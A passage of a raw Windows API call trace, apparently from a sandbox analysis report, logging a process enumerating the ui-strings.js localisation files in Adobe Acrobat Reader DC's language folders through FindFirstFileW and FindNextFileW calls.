lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.487] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.487] GetProcessHeap () returned 0xc10000 [0246.487] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.487] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0246.487] GetProcessHeap () returned 0xc10000 [0246.487] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.488] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.488] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.488] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.488] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0246.488] GetProcessHeap () returned 0xc10000 [0246.488] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.488] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0246.488] GetProcessHeap () returned 0xc10000 [0246.489] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.489] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.490] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.490] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.490] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.490] GetProcessHeap () returned 0xc10000 [0246.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.490] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0246.490] GetProcessHeap () returned 0xc10000 [0246.490] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.491] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.491] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.491] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.492] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.492] GetProcessHeap () returned 0xc10000 [0246.492] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.492] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0246.492] GetProcessHeap () returned 0xc10000 [0246.492] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.492] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.492] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.492] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.493] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.493] GetProcessHeap () returned 0xc10000 [0246.493] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.493] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0246.493] GetProcessHeap () returned 0xc10000 [0246.493] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.494] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.494] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.494] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.494] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.495] GetProcessHeap () returned 0xc10000 [0246.495] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.495] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0246.495] GetProcessHeap () returned 0xc10000 [0246.495] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.496] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.496] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.496] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.496] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.497] GetProcessHeap () returned 0xc10000 [0246.497] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.497] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0246.497] GetProcessHeap () returned 0xc10000 [0246.497] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.498] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.498] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.498] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.498] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.499] GetProcessHeap () returned 0xc10000 [0246.499] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.499] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0246.499] GetProcessHeap () returned 0xc10000 [0246.499] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0246.501] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.501] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, 